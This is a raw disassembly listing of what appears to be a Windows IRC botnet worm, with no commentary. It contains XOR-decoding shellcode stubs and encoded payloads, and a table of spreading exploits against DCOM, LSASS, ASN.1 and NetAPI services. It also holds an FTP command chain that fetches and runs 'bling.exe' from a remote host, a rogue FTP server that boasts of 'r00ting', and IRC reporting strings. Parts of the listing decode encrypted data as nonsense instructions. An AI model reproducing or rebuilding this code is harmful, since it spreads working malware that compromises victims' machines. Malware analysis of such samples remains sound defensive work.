[esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o ; ___:0042F830o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B5r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 